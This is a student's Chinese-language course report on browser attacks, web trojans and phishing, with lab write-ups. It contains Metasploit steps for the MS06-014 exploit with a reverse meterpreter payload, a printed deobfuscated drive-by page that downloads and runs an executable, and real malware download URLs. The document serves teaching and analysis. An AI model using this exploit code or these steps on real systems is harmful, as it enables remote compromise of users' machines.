20199314 2019-2020-2 《网络攻防实践》第12周作业

20199314 2019-2020-2 《网络攻防实践》第12周作业

问题 解答
这个作业属于哪个课程 《网络攻防实践》(https://edu.cnblogs.com/campus/besti/19attackdefense)
这个作业的要求在哪里 https://edu.cnblogs.com/campus/besti/19attackdefense/homework/10756
作业正文 如下
参考文献 https://www.php.cn/windows-414137.html

Web浏览器安全攻防

  • 网页木马主要利用Web浏览器中的安全漏洞来实施对客户端的政土,尝试植入恶意程序以窃取网民的敏感信息;

  • 而网络钓鱼政走则直接针对用户的心理弱点,使用了一些应用社会工程学技巧的欺骗术来诱使用户直接给出敏感信息。

1. Web浏览器的技术发展与安全威胁

现代浏览器的基本结构如图所示:

  • 需要支持各种应用层协议的Stream流接收与解析,

  • 维护DOM对象模型结构,

  • 通过支持EMCAScript标准构建JavaScript、Flash ActionScript等客户端脚本语言的执行环境,

  • 支持CSS标准控制页面的布局,

  • 最终在浏览器终端中将服务器端的各种流媒体对参、应用程序、客户端脚本执行效果进行深染,展现给终端用户。

1.1 Web浏览的安全问题与威胁

Web浏览器软件安全困境三要素的问题即:复杂性、可扩展性和连通性。

1.1.1 Web浏览器软件的安全困境三要素

  • 在复杂性方面
    现代Web浏览器软件由于需要支持HTTP、HTTPS、FTP等多种类型的应用层协议浏览,符合HTML、XHTML、CSS等一系列的页面标准规范,支持JavaScript、Flash、Java、SilverLight等多种客户端执行环境,并满足大量的用户浏览需求,已经变得非常复杂和庞太。

  • 在可扩展性方面
    现代Web浏览器可能是最突出可扩展特性支持的软件类型,目前几乎所有的现代浏览器软件都支持第三方插件扩展机制,并通过JavaScript等客户端脚本执行环境、沙箱和虚拟机来执行富Intenet应用程序。第三方扩展插件的开发过程更缺乏安全保证,出现安全漏洞的情况更为普遍。

  • 在连通性方面
    浏览器软件始终工作在联网状态,一旦其中存在安全漏洞,就很容易被网络上的威胁源所利用与攻击。

1.1.2 Web浏览安全威胁位置

Web浏览器所处的系统平台、Web浏览器软件及插件程序、以及使用浏览器的终端用户一起构成了一个完整的Web浏览环境。

Web浏览环境中的每个组件也都面对着各种不同类型的安全威胁。

  • 针对传输网络的网络协议安全威胁:
    网络监听与协议栈攻防技术。

  • 针对Web浏览端系统平台的安全威胁
    Windows操作系统安全攻防技术和恶意代码攻防技术。

  • 针对Web浏览器软件及插件程序的渗透攻击威胁
    客户端渗透攻击向互联网用户桌面系统中植入恶意木马程序。

  • 针对互联网用户的社会工程学攻击威胁
    网络钓鱼攻击。

2. Web浏览端的渗透攻击威胁一一网页木马

网页木马的产生与发展背景:
自从Web浏览器在20世纪90年代中期引入了JavaApplet、JavaScript、VBScript等客户端执行脚本语言之后,黑客们开始利用这种可以在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,来对Web浏览器及客户端计算机实施攻击,如早期的浏览器主页劫持、网页炸弹等。

黑客地下经济链

Web浏览端安全漏洞:
网页木马的本质核心就是利用脚本语言实现对Web浏览端软件安全漏洞的渗透改击,从而向客户端主机中植入恶意程序。主要有以下特征:

  • 网页木马所攻击的安全漏洞的存在位置非常多样化
  • 由于互联网用户对应用软件的在线升级和补丁安装过程没有像微软系统软件一样自动化和实时,一些流行的应用软件中的安全漏洞留给网页木马的攻击事件窗口会长一点。
  • 一些影响范围广的安全漏洞,如 MS06-014 会被网页木马持续地利用,以攻击那些长时间不进行系统升级与补丁更新,或者安装老旧操作系统版本的互联网用户计算机

2.1 网页木马的机理分析

2.1.1 网页木马的定义特性

本质特性: 利用了现代Web浏览器软件中所支持的客户端脚本执行能力,针对Web浏览端软件安全漏洞实施客户端渗透攻击,从而取得在客户端主机的远程代码执行权限来植入恶意程序。

攻击形式:(被动攻击) 网页木马采用客户端渗透攻击形式,需要web浏览端软件来访问构造的恶意web页面内容才能触发渗透攻击过程。因此,网页木马攻击是被动式的,需要通过一些技术方法来诱使互联网用户来访问网页木马页面。

攻击技术流程:

病毒编写者负责实现网页木马和传统的盗号木马,并使用免杀技术方法使之躲避反病毒软件的检测,
黑站长/网站骇客出卖网站访问者或攻陷不安全的网站,出售这些网站的访问流量;
“信封“盗窃者在木马宿主站点上放置网页本马和传统盗号木马,些通过在大量网站中嵌入恶意链接将访问者重定向全网页木马,从而构建网页木马攻击网络;
受害者在访问挂马网站时,就会自动地链接网页木马并被其攻凶,植入传统盗号木马,进而被窃取“信封“和虚拟资产。

网页木马攻击网络特性:

  • 多样化的客户端渗透攻击位置和技术类型;

  • 分布式、复杂的微观链接结构;

  • 灵活多变的混淆与对抗分析能力。

2.1.2 浏览器渗透攻击

网页木马的具体实现机制:

MS06-014安全漏洞是2006年在Windows操作系统默认安装的MDAC数据库访问组
作RDS.DataSpaceActiveX控件中发现的远程代码执行漏洞,这个安全漏洞的机理非常简单,该控件CreateObject()方法创建的ActiveX控件无法确保能够进行安全的交互,导致远程代码执行潘洞,成功利用这个漏洞的攻击者可以完全控制受影响的系统。

2.1.3 网页挂马机制

攻击者需要将网页木马指接到一些拥有客户访问流量的网站页面上,而这一过程就被称为网页指马。

网页挂马有如下四类策略:

  • 内嵌HTML标签:。如iframe、frame等,将网页木马链接嵌入到网站首页或其他页面中。

  • 恶意script脚本:利用script脚本标签通过外部引用脚本的方式来包含网页木马,例如,<scriptsrc=“URLtoTrojan“>。

  • 内嵌对象:利用图片、Flash等内崴对象中的特定方法来完成指定页面的加
    载,如Flash中的LoadMovie0方法等。

  • ARP欺骗挂马:在同一以太网网段内,攻击者利用ARP欺骗方法进行中间人攻击,劫持所有目标网站出入的网络流量,并在目标网站的HTML反馈包中注入恶意脚本,从而时期成为将网络访问流量链接至网页木马的挂马站点。

2.1.4 混淆机制

目的: 对抗反病毒软件的检测,并提高反病毒工程师的分析难度,从而使得网页木马攻击网络更加难以被检测和摧毁。

目前在网页木马中使用比较广泛的混淆方法主要有:

  • 将代码重新排版,去除缩进、空行、换行、注释等,同时将网页木马中的变量名替换为一组合法的随机字符串,使其失去自我描述的能力,从而干扰阅读分析;

  • 通过大小写变换、十六进制编码、escape编码、unicode编码等方法对网页木马进行编码混淆;

  • 通过通用或定制的加密工具对网页木马进行加密得到密文,然后使用脚本语言中包含的解密函数,对密文进行解密,再使用 document.write() 或 eval() 进行动态输出或执行,此类混淆方法例如XXTEA网页加密工具;

  • 利用字符串运算、数学运算或特殊函数可以混淆代码,一个典型的例子是通过字符串替换函数将网页木马中的一些字符替换为其他字符构成混淆后代码,然后在运行时首先替换回原先的字符,然后进行动态执行;

  • 修改网页木马文件掩码欺骗反病毒软件,或对网页木马文件结构进行混淆,来伪装正常文件,甚至将网页木马代码拆分至多个文件等。

2.2 网页木马的检测和分析技术

  • 基于特征码匹配的传统检测方法 (效率低下):
    灵活多变的混淆机制以及分布式复杂的链接结构使得其失效。

  • 基于统计与机器学习的静态分析方法 (不适用于实际场景):
    本质上针对网页木马所采用的代码混淆或隐藏内嵌链接的特征进行检测,但仍停留在外在形态层次上。

  • 基于动态行为结果判定的检测分析方法 (最有效):
    利用行为特性--网页木马在攻击过程中向互联网用户主机植入并激活恶意程序。
    通过构建包含典型Web访问浏览器及应用软件、存有安全漏洞的高交互式客户端蜜罐环境,在蜜罐中访问待检测的网页,根据访问过程中是否触发了新启动迹程、文件系统修改等非预期系统状态变化,以判定当前访问页面中是否被挂接了网页木马。

  • 基于模拟浏览器环境的动态分析检测方法:
    以脚本执行引擎为核心,通过模拟实现DOM模型、页面解析与渲染、ActiveX等第三方控件构建出一个虚拟的低交互式客户端蜜罐环境,进行脚本解释,还原真实状态,分析检测。

网页木马检测分析技术综合对比:
静态分析和动态分析两大类:

  • 静态分析
    试图通过特征码匹配和机器学习方法,在网页木马的外在形态层次上构建较为准确的检测方法;

  • 动态分析
    实质上是从网页木马的外部表现行为出发,根据网页木马成功攻击客户端软件后对系统造成的行为后果进行判定。仅能判定是否是网页木马,而无法提供目标组件、利用漏洞位置与类型更为全面的攻击语义信息。

网页木马防范措施

  • 提升操作系统与浏览器软件的安全性,经常检查更新。
  • 反病毒软件
  • 养成良好的浏览习惯,借助安全评估工具的帮助,避免访问安全性低的网站

3. 揭开网络钓鱼的黑幕

网络钓鱼定义: 两个角色分别是钓鱼者(phisher)和受害者(victim),钓鱼者运用社会工程学(social engineering)知识诱骗受害者,以在未授权情况下获取对方的姓名、年龄、邮箱账号、甚至是银行卡密码等私人信息

3.1 网络钓鱼类型

网络钓鱼手段:

  • 发送垃圾邮件 引诱用户上钩

  • 建立假冒网上银行、网上证券网站

  • 利用虚假的电子商务进行作骗

  • 利用木马和黑客技术窃取用户信息后实施盗窃

  • 利用用户弱口令等漏洞破解、猜测用户账号和密码

3.2 网络钓鱼攻击的技术

  • 鱼叉式网络钓鱼攻击
    这是一种个人触摸的大量网络钓鱼。发件人将使用可用信息看似合法。此类别中最常见的伪装是银行,攻击可以发送您的姓名,地址等。

  • 捕鲸攻击(行政网络钓鱼)
    这是一种鱼类网络钓鱼攻击,专门针对组织内的高级管理人员,通常是为了窃取大笔资金。

  • 克隆网络钓鱼
    它会收集先前已发送的电子邮件并复制其内容,将任何合法链接替换为恶意链接。然后使用欺骗帐户将电子邮件发送给原始电子邮件的收件人。基本上,攻击者克隆了合法的电子邮件。

  • 域欺骗
    它是一种新的网络钓鱼形式,依赖于DNS缓存中毒,将用户从合法站点重定向到欺诈站点,并欺骗用户使用他们的登录凭据尝试登录欺诈站点。

  • 语音网络钓鱼
    它也称为vishing,是一种通过语音通信媒体发生的网络钓鱼形式,包括IP语音(VoIP)或POTS(普通老式电话服务)。犯罪者会使用语音合成软件留下声称通知受害者银行或信用账户中的可疑活动的语音邮件,并请求受害者回复恶意电话号码以验证他的身份 - 从而危及受害者的账户凭证。

  • 短信网络钓鱼
    它也称为SMishing或SMShing,犯罪者会使用短信来说服受害者披露帐户凭据或安装恶意软件。

防范措施

  • 使用垃圾邮件过滤器

  • 安装防网络钓鱼工具栏

  • 验证站点的安全性

  • 使用防病毒软件和防火墙

  • 不要通过网络泄露个人信息

4. 实践1--Web浏览器渗透攻击实验

实验环境: 攻击机Kali(192.168.200.3),靶机Window2K(192.168.200.124)。

步骤:

  1. 按照教材提示,在kali中msfconsole打开metasploit。

  2. 输入search ms06_014,查看漏洞信息。

  3. 输入use exploit/windows/browser/ie_createobject启用漏洞,

  4. 设置攻击机机和靶机地址set lhost 192.168.200.3、set rhost 192.168.200.124。

5.输入show payloads选择攻击负载。

6.选择反向连接,set payload windows/meterpreter/reverse_tcp,并输入exploit。

7.在靶机中启动浏览器,并登录网页http://192.168.200.3:8080/XYN7lmg 验证,登陆成功,靶机和攻击机浏览器返回字符。

8.返回kali,会发现提示会话建立成功。

9.输入sessions -i 1 连接到指定序号的meterpreter会话来继续利用,并输入ipconfig查看靶机网络状态,getwd 命令获取系统工作的当前目录;getuid 查看meterpreter注入到目标主机的进程所属用户;sysinfo查看目标主机系统信息

5. 实践2--分析网页木马实际攻击场景

1.由于给的网站和html文件打不开。资料中给出了挂马网站的结构。

2.资料中给出了需要下载的文件hash,打开23180a42a2ff1192150231b44ffdf3d3文件,其包含一段文字。

3.打开7f60672dcd6b5e90b6772545ee219bd3文件,采用 XXTEA+Base64 的加密方法,要找到它的加密密钥就为倒数第三行中16进制数,并转换一下为script。

4.还需要访问 http://www.cha88.cn/safe/xxtea.php, 但是打不开,用资料中的解密结果如下:

利用到的应用程序漏洞有“Adodb.Stream”、 “MPS.StormPlayer”、 “POWERPLAYER.PowerPlayerCtrl.1” 和“BaiduBar.Tool”,分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。

5.从给出的资料中分析,一共有四个脚本文件。

1.js (MS06-014网马)十六进制编码
b.js (暴风影音网马)(老外写的 js 加解密工具,就是这么叫的)
pps.js (PPStream网马) 八进制编码

6.打开1.js,其采用16进制加密,解密得。

这个文件前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面部分是对 ADODB 漏洞的继续利用。

7.打开b.js,由于这个查询加密方法的网址打不开,直接借用资料中的图片,注意有shellcode,攻击注入二进制代码。同时根据2f斜杠/,这个可以查到下载bf.exe文件。

  1. 打开pps.js,是8进制加密。 没找到8进制解密工具,还是用资料图吧。

9.依旧可以找到shellcode,"/"的八进制码为57,可以找到url衔接,得到pps.exe文件。于是我们有了四个可执行 exe 文件,即 014.exe,bf.exe,pps.exe,bd.exe。

10.对可执行文件进行分析,如bf.exe,打开 PEiD,看这个可执行文件的加壳情况,得出的结论是它是用 Delphi 6.0-7.0写的。(无壳 ,delphi语言 )

11.直接用IDA Pro反编译这个文件,最显眼地可以看到其会下载很多的exe木马文件。

还具备一定的防系统保护软件的能力,

12.这个程序还会修改 IE、注册表、服务和系统文件。

13.接下来下载好exe木马文件。打开df.exe,并运行自带的Process Monitor监控软件。运行后可以看到其疯狂的下载exe木马文件,全部下载到systerm32文件夹里面。

14.选择一个下载好的文件14.exe。继续采用PEid查壳,超级巡警脱壳。

15.放入IDA Pro中查看字符串(会提示文件损坏),

  1. 从中可以看出,一般也就是对注册表进行修改,尤其注意其调用了user32.dll和kernel32.dll两个文件,分别于界面显示和内核(内存)管理有关。

实践6--Web浏览器渗透攻击对抗实验

1.打开实验中的ms06-014漏洞js代码。关键指令做了字符串拼接处理和大量的空白间隔。

2.用在线工具https://www.sojson.com/jsjiemi.html, 反混淆和去掉js代码中的空格。

< html > < head > < title > < /title>
<script language="javascript">function KnAmGt(o,n)
{var r=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r)			  {try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r)}function hRZsZenIWZGSquVYwDztwzXS(a){var s=KnAmGt(a,"WScript.Shell");var o=KnAmGt(a,"ADODB.Stream");var e=s.Environment("Process");var url=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+"\\KvJyzvxl.exe";var dat;try{xml=new XMLHttpRequest()}catch(e){try{xml=new ActiveXObject("Microsoft.XMLHTTP")}catch(e){xml=new ActiveXObject("MSXML2.ServerXMLHTTP")}}if(!xml){return(0)}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0)}function EeqjlsFOA(){var i=0;var t=new Array(' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36
}
',' {
BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E30
}
',' {
7F5B7F63 - F06F - 4331 - 8A26 - 339E03C0AE3D
}
',' {
6e32070a - 766d - 4ee6 - 879c - dc1fa91d2fc3
}
',' {
6414512B - B978 - 451D - A0D8 - FCFDF33E833C
}
',' {
06723E09 - F4C2 - 43c8 - 8358 - 09FCD1DB0766
}
',' {
639F725F - 1B2D - 4831 - A9FD - 874847682010
}
',' {
BA018599 - 1DB3 - 44f9 - 83B4 - 461454C84BF8
}
',' {
D0C07D56 - 7C69 - 43F1 - B4A0 - 25F5A11FAB19
}
',' {
E8CCCDDF - CA28 - 496b - B050 - 6C07C962476B
}
',' {
AB9BCEDD - EC7E - 47E1 - 9322 - D4A210617116
}
',' {
0006F033 - 0000 - 0000 - C000 - 000000000046
}
',' {
0006F03A - 0000 - 0000 - C000 - 000000000046
}
',null);while(t[i]){var a=null;if(t[i].substring(0,1)==' {
'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1))}else{try{a=new ActiveXObject(t[i])}catch(e){}}if(a){try{var b=KnAmGt(a,"WScript.Shell");if(b){hRZsZenIWZGSquVYwDztwzXS(a);return(0)}}catch(e){}}i++}}</script></head><body onload='
EeqjlsFOA()
'>GNNkmzjVHPe</body></html>
  1. 从uurl=document.location+'/payload';var xml=null;var bin=e.Item("TEMP")+ "\KvJyzvxl.exe";可以看出,其有payload用于辅助数据传输,其后有一个KvJyzvxl.exe.exe文件,可以猜测是靶机从网页上下载了木马文件。从windows管理器中也能看到这个文件存在。

4.通过在网页上搜索 class identifier(类标识符)也称为CLASSID或CLSID,是与某一个类对象相联系的唯一标记(UUID)。BD96C556 - 65A3 - 11D0 - 983A - 00C04FC29E36为MS06-014漏洞。

实践7--Web浏览器遭遇攻击

1.列出在捕获文件中的应用层协议类型, 你认为攻击是针对哪个或哪些协议的?
应用层协议主要有(1)域名系统(DNS):用于实现网络设备名字到IP地址映射的网络服务。(2)文件传输协议(FTP):用于实现交互式文件传输功能。
(3)简单邮件传送协议 SMTP):用于实现电子邮箱传送功能。
(4)超文本传输协议(HTTP):用于实现WWW服务。
(5)简单网络管理协议(SNMP):用于管理与监视网络设备。
(6)远程登录协议(Telnet):用于实现远程登录功能。

2.用wirshark打开pcap文件,可以统计一下主要流量为HTTP/TCP协议。应该是针对TCP协议。

3.列出捕获文件中的 IP 地址、主机名和域名。从这些信息中你能猜出攻击场景的环境配置情况吗?
通过统计功能,并在wireshark显示IP地址对应名称,可以选择Name resolution复选框。要查看IP名称解析,进入View | Name Resolution | Enable for Network layer进行激活。攻击场景应该是虚拟机,因为出现了很多mac地址相同的主机。

ip mac 域名
10.0.3.15 080027ba0b03
10.0.3.2 525400123500
10.0.4.15 080027a15fbf
10.0.5.15 080027cd3d55
10.0.5.2 525400123500
192.168.1.1 525400123500
192.168.56.50 525400123500
209.85.227.100 525400123500 www.l.google.com
74.125.77.101 525400123500 www-google-analytics.google.com
64.236.114.1 525400123500 www.honeynet.org

也可以利用chaosreader,查看for i in session_00 [0-9]* . http.html; do srcip=cat "$i" | grep 'http:\ ' | awk '{print $2}' | cut -d ':' -f1; dstip=cat "$i" | grep 'http:\ ' | awk '{print $4}' | cut -d ':' -f1; host=cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'; echo "$srcip --> $dstip = $host"; done | sort –u

4.列出捕获文件中的所有网页页面, 其中哪些页面包含了可疑的、可能是恶意的
JavaScript 脚本代码?谁在连接这些页面?请描述恶意网页的攻击目的?

5.打开session_0006.part_01.html,现了如下界面,这应该是一个钓鱼网站,显然是恶意创建的对应的就是Rapidshare.com的高级账号(网站创立于2003年,是世界知名的文件上传下载托管服务网站)

6.根据资料提示再查看session_0032.part_01.html,会提示网站受损。

  1. 再找到session_0007.part_02.html。

8.请给出攻击者执行攻击动作的概要描述(ip地址10.0.2.15)。
其首先让受害者登陆到构建的假的Rapidshare.com,在里面的js脚本将该内容又被重定向到sploitme.com.cn/fg/show.php?s=3feb5a6b2f, 其中包含一些javascript。最后返回一个404界面。

9.攻击者的目标是哪个操作系统,哪些应用软件,哪些安全漏洞?如何阻止这些攻击?
追踪TCP 流,可以看到这是一个针对Windows XP系统下IE浏览器漏洞。

10.Shellcode 执行了哪些动作?请列出 Shellcode 的 MD5,并比较它们之间的差异?
Shellcode获取系统临时文件路径,加载urlmon.dll,从 URL http://sploitme.com.cn/fg/load.php?e=1检索可执行文件,然后执行它。 Shellcode 之间的唯一区别是对load.php脚本的请求中的e变量,该变量指定发送恶意软件可执行文件。

  1. 在攻击场景中有二进制可执行恶意代码参与吗?它们的目的是什么?
    有,目的是下载可执行文件并在本地执行。

7. 学习中遇到的问题及解决

问题1:超级巡警无法对delphi进行脱壳。
问题1解决方法:后来查询不是加密壳,无须脱壳。
问题2:8进制数字转化为字符.
问题2解决办法:尚未找到8进制转换工具。

8. 学习总结

本章主要学习了Web浏览器的安全威胁,以及网页挂马和钓鱼网络的攻击防范措施。实验部分进行分析耗时多且复杂。还很难看懂, 让人头大。

posted @ 2020-05-20 20:21  20199314贺泽华  阅读(520)  评论(0编辑  收藏  举报